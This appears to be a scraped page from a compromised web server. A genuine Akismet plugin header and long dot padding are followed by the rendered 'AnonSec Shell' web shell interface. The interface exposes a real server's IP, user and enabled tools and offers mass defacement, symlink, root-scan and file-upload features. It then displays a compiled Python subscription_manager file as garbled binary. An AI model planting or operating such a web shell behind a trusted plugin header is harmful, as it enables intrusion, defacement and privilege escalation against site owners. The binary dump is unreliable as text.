#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/entcertlib.pyc
�
L��ec@`s�ddlmZmZmZddlZddlZddlmZmZddl	m
Z
ddlmZddl
mZddl
mZddl
mZdd	lmZmZdd
l
mZddljZddlmZmZeje�ZdZd
ejfd��YZ de!fd��YZ"de!fd��YZ#de!fd��YZ$de!fd��YZ%de!fd��YZ&de'fd��YZ(dej)fd��YZ*dS(i(tprint_functiontdivisiontabsolute_importN(tKeytcreate_from_pem(tCONTENT_ACCESS_CERT_TYPE(tWriter(tcertlib(tcontent_action_client(tutils(tIDENTITYtrequire(trhelentbranding(t	ungettexttugettexttorg_level_content_accesstEntCertActionInvokercB`seZdZd�ZRS(s5Invoker for entitlement certificate updating actions.cC`st�}|j�S(N(tEntCertUpdateActiontperform(tselftaction((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyt
_do_update(s	(t__name__t
__module__t__doc__R(((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR&stEntCertDeleteLibcB`s/eZdZddd�Zd�Zd�ZRS(s3Invoker for entitlement certificate delete actions.cC`stj�|_||_dS(N(RtLockertlockertent_dir(Rtserial_numbersR((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyt__init__3scC`s|jj|j�dS(N(Rtrunt
_do_delete(R((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pytdelete8scC`s%td|jd|j�}|j�S(NRR(tEntCertDeleteActionRRR(RR((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR ;sN(RRRtNoneRR!R (((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR1s
	R"cB`s#eZdZdd�Zd�ZRS(s*Action for deleting all entitlement certs.cC`s
||_dS(N(R(RR((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRDscC`sCx<|D]4}|jj|�}|dkr1qn|j�qW|S(N(RtfindR#R!(RRtsntcert((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRGs
N(RRRR#RR(((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR"BsRcB`s�eZdZdd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�ZRS(sRAction for syncing entitlement certificates.

    EntCertUpdateAction is used to sync entitlement certs based on
    currently entitlement status.

    An EntCertUpdateReport is returned containing information about the changes
    that were applied. install() and delete() methods are expected to update
    self.report.

    New and updated ent certs are installed via a EntitlementCertBundlesInstaller.
    Expired or extraneous entitlement certs are deleted.

    If there are changes applied to the EntitltementDirectory, repo_hook()
    and branding_hook() are triggered. Certificates will have been updated,
    and written to disk, and EntitlementDirectory refresh before these hooks
    are called.

    The injected self.uep is used to query RHSM API for a list of expected
    entitlement certificate serial numbers. If local system is missing certs
    matching those serial numbers, the API is queried for the list of serial
    numbers to update.

    rogue: ent certs installed on system but not known by RHSM API.
    missing: ent certs RHSM API knows, but are not installed on system.
    cC`sptjtj�|_|jj�|_tjtj�|_tt�|_	t
�|_tjtj�|_
dS(N(tinjRtCP_PROVIDERtcp_providertget_consumer_auth_cptueptENT_DIRRR
tidentitytEntCertUpdateReporttreporttCONTENT_ACCESS_CACHEtcontent_access_cache(RR/((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRjscC`s�|j�}y|j�}Wn9tjk
rW}tj|�tjd�t��nXt}|j||�}|j	||�}|j
|�|j|�tjd|j
�|j�|jj�|s�|r�t}n|jjt�r�|j�}t|�dkrsg}x-|D]%}	|	j|kr|j|	�qqWt|�dkrstjd�|j
|�qsn|j�}
|
dk	r�t}q�n|r�|j�|j�n|j
S(Ns.Cannot modify subscriptions while disconnectedscerts updated:
%sis,Deleting obsolete content access certificate(t_get_local_serialst_get_expected_serialstsocketterrortlogt	exceptiontDisconnectedtFalset_find_missing_serialst_find_rogue_serialsR!tinstalltinfoR/tsyslog_resultsRtrefreshtTrueR+thas_capabilitytCONTENT_ACCESS_CERT_CAPABILITYt_find_content_access_certstlentserialtappendtcontent_access_hookR#t	repo_hookt
branding_hook(Rtlocaltexpectedtextcert_changedtmissing_serialst
rogue_serialstcontent_access_certstobsolete_certstcont_access_certtupdate_data((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRtsD






	



cC`s/|j|�}t|j�}|j|�dS(s-Install any missing entitlement certificates.N(tget_certificates_by_serial_listtEntitlementCertBundlesInstallerR/R<(RRNtcert_bundlestent_cert_bundles_installer((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR<�scC`s5|jj�}g|D]}|jtkr|^qS(N(Rtlist_with_content_accesstentitlement_typeR(RtcertsR&((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRC�scC`s�|jjt�sdS|j�}d}t|�dkrL|jj�}nx!|D]}|jj||�qSWt|�dkr�|jj	�r�|jj
�n|dk	r�|jj�n|S(Ni(
R+RARBRCR#RDR1tcheck_for_updatetupdate_certtexiststremoveRR?(RRPRStcontent_access_cert((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRG�s
!cC`stj�}|j�dS(s7Update branding info based on entitlement cert changes.N(RtRHELBrandsInstallerR<(Rtbrands_installer((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRI�scC`s[tjd�ytj�}|j�Wn-tk
rV}tj|�tjd�nXdS(sUpdate content repos.sentcerlibaction.repo_hooksFailed to update reposN(R6tdebugRtContentActionClienttupdatet	Exception(Rtcontent_actionte((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRH�s

cC`s)g|D]}||kr|^q}|S(s6 Find serials from the server we do not have locally. ((RRJRKR%tmissing((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR:�s%cC`s-g|D]}||kr||^q}|S(s7Find serials we have locally but are not on the server.((RRJRKR%trogue((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR;�s)cC`s�x_|jjD]Q}tjd|jj|jjf�x%|jD]}tjd|j�q@Wq
Wx_|jjD]Q}tjd|jj|jjf�x%|jD]}tjd|j�q�WqoWdS(s3Write generated EntCertUpdateReport info to syslog.s)Added subscription for '%s' contract '%s's#Added subscription for product '%s's+Removed subscription for '%s' contract '%s's%Removed subscription for product '%s'N(	R/taddedR	t
system_logtordertnametcontracttproductsRi(RR&tproduct((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR>�s				cC`s|i}|jj�|jj�|jj�}tt|��}x4|D],}|j}|jjj|�|||<qHW|S(N(	RR?tlistRXtsetRER/tvalidRF(RRJt	ent_certsRsR%((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR2�s

	cC`s|g}|jdkr|Stjtj�}|j�s;|S|jj|j�}x%|D]}|d}|j|�qWW|S(s<Query RHSM API for list of expected ent cert serial numbers.REN(	R+R#R'RR
tis_validtgetCertificateSerialstuuidRF(RtresultsR-treplytdR%((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pytget_certificate_serials_lists

cC`sng}|rjg|D]}t|�^q}|jj|jjd|�}x|D]}|j|�qPWn|S(sOFetch a list of entitlement certificates specified by a list of serial numbers.tserials(tstrR+tgetCertificatesR-RwRF(Rtsn_listtresultR%RyR&((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRTs	
cC`s|j�}||j_|S(N(R{R/RK(Rtexp((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR3%scC`s�x_|D]W}y!|j�|jjj|�Wqtk
r]}tj|�tjd�qXqWt|jj�}|dkr�t	t
dd|�|�|jj�ndS(NsFailed to delete certis&%s local certificate has been deleted.s(%s local certificates have been deleted.(
R!R/RiRFtOSErrorR6R7twarnRDtprintR
RR?(RRiR&tertrogue_count((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR!*s


	N(RRRR#RRR<RCRGRIRHR:R;R>R2R{RTR3R!(((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRPs 
	;											
	RUcB`sDeZdZd�Zd�Zd�Zd�Zd�Zd�ZRS(s�Install a list of entitlement cert bundles.

    pre_install() is triggered before any of the ent cert
    bundles are installed. post_install() is triggered after
    all of the ent cert bundles are installed.
    cC`sg|_||_dS(N(t
exceptionsR/(RR/((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyREs	cC`sGt|j�}x|D]}|j|�qW|j|_|j�dS(s>Fetch entitliement certs, install them, and update the report.N(tEntitlementCertBundleInstallerR/R<R�tpost_install(RRVtbundle_installertcert_bundle((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR<Is

cC`stjd�dS(s6Hook called before any ent cert bundles are installed.scert bundles pre_installN(R6Rb(R((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pytpre_installRscC`s,x%|j�D]}tjd|�q
WdS(s7Hook called after all cert bundles have been installed.scert bundles post_install: %sN(t_get_installedR6Rb(Rt	installed((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR�VscC`s
|j�S(s:Return a list of the ent cert bundles that were installed.(R�(R((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyt
get_installed[scC`s
|jjS(sFReturn the bundles installed based on this impl's EntCertUpdateReport.(R/Rj(R((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR�_s(	RRRRR<R�R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRU=s						R�cB`sDeZdZd�Zd�Zd�Zd�Zd�Zd�ZRS(s�Install an entitlement cert bundle (cert/key).

    Split a bundle into an certificate.EntitlementCertificate and a
    certificate.Key, and persist them.

    pre_install() is called before the cert bundle is installed.
    post_install() is called after the cert bundle is installed.
    Note that EntitlementCertBundlesInstaller's pre and post install
    hooks are before and after installing the full list of ent cert
    bundles, while this is pre/post each ent cert bundle.
    cC`sg|_||_dS(N(R�R/(RR/((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyRqs	cC`s�|j|�t�}y<|j|�\}}|j||�|jjj|�Wn#tk
rw}|j||�nX|j	|�dS(sDPersist an ent cert and it's key after splitting it from the bundle.N(
R�Rt
build_certtwriteR/RjRFRetinstall_exceptionR�(Rtbundletcert_bundle_writertkeyR&Rg((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR<us
	cC`stjd�dS(s3Hook called before an ent cert bundle is installed.sEnt cert bundle pre_installN(R6Rb(RR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR��scC`s6|d}|d}t|�}t|�}||fS(s<Split a cert bundle into a EntitlementCertificate and a Key.R�R&(RR(RR�tkeypemtcrtpemR�R&((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR��s


cC`s7tj|�tjd||�|jjj|�dS(s7Log exceptions and add them to the EntCertUpdateReport.sBundle not loaded:
%s
%sN(R6R7R5R/t_exceptionsRF(RR�R7((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR��s
cC`stjd�dS(s2Hook called after an ent cert bundle is installed.sent cert bundle post_installN(R6Rb(RR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR��s(	RRRRR<R�R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR�ds				
	R8cB`seZRS((RR(((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR8�sR.cB`sAeZdZdZd�Zd�Zd�Zd�Zd�ZRS(s.Report entitlement cert update action changes.sEntitlement Cert UpdatescC`s1g|_g|_g|_g|_g|_dS(N(RsRKRjRiR�(R((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR�s
				cC`st|j�t|j�S(s0Total number of ent certs installed and deleted.(RDRjRi(R((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pytupdates�scC`s|jS(N(R�(R((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR��scC`s�d}|j|�|r�x�|D]x}|j}|sa|jd||j|jj|jf�nx4|D],}|jd||j|j|jf�qhWq Wn|jd|�dS(s-Generate a report stanza for a list of certs.s  s%s[sn:%d (%s) @ %s]s%s[sn:%d (%s,) @ %s]s%s<NONE>N(RFRoRERlRmtpath(RtsttitletcertificatestindenttcRoRp((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR��s$

			
	cC`s�g}|jtd�|j��|jtd�|j�|jtd�|j�|j|td�|j�|j|td�|j�dj|�S(s6__str__ of report. Used in rhsm and rhsmcertd logging.sTotal updates: %dsFound (local) serial# %ssExpected (UEP) serial# %ssAdded (new)sDeleted (rogue):s
(	RFt_R�RsRKR�RjRitjoin(RR�((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyt__str__�s(	RRRRmRR�R�R�R�(((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyR.�s				(+t
__future__RRRtloggingR4trhsm.certificateRRtrhsm.certificate2Rt"subscription_manager.certdirectoryRtsubscription_managerRRR	tsubscription_manager.injectionR
RRt	injectionR'tsubscription_manager.i18nR
RR�t	getLoggerRR6RBtBaseActionInvokerRtobjectRR"RRUR�ReR8tActionReportR.(((sE/usr/lib64/python2.7/site-packages/subscription_manager/entcertlib.pyt<module>s,�'<

Anon7 - 2022
AnonSec Team